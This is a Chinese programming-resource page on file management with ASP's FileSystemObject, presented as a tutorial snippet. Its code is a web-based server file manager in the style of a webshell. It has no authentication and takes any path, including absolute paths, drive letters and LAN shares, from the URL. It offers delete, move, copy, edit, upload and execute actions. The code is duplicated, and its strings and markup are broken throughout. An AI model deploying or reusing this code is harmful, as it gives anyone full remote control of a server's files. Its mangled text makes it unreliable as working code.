您现在的位置是:网站首页> 编程资料编程资料
文件的读出 编辑 管理_FSO专题_
2023-05-25
426人已围观
简介 文件的读出 编辑 管理_FSO专题_
<%
urlpath="http://"&Request.ServerVariables("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"■↑回上级目录
"
Response.write""
"
end if
End Sub
Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write""
"
End Sub
%>
bordercolordark="#FFFFFF" cellspacing="0">
urlpath="http://"&Request.ServerVariables("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"■↑回上级目录
"
Response.write"
| └■ "&x.Name&" | "×删除 | "×移改 | "×复制 |
end if
End Sub
Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"
| 执行 | "" | |
| □"&showstring&" | "&x.size&"字节 | ?属性∝查看∝编辑×删除+复制+移动 |
End Sub
%>
| ※切换到相应盘符:style="background-color: rgb(255,255,255);color:rgb(255,0,0)"><% For Each thing in fsoBrowse.Drives Response.write "◎"&thing.DriveLetter&":" NEXT %> [如果该盘在服务器上不存在,那么将不显示东西,你也可以更URL上的PATH值换换到其它路径上,支持局域网地址,如:"\\pc01\c"] | |
| ※<% if Request("attrib")="true" then response.write "切换到相对路径编辑模式" else response.write "切换到绝对路径编辑模式" end if %> ※绝对路径:style="background-color: rgb(255,255,255)"><%=cpath%> | |
| ※当前目录■:<%=lpath%> ※上传文件到当前目录■: target=_blank>上传文件(文件大小最好不要超过500K) | |
| <%Call GetFolder()%> | <%Call GetFile()%> |
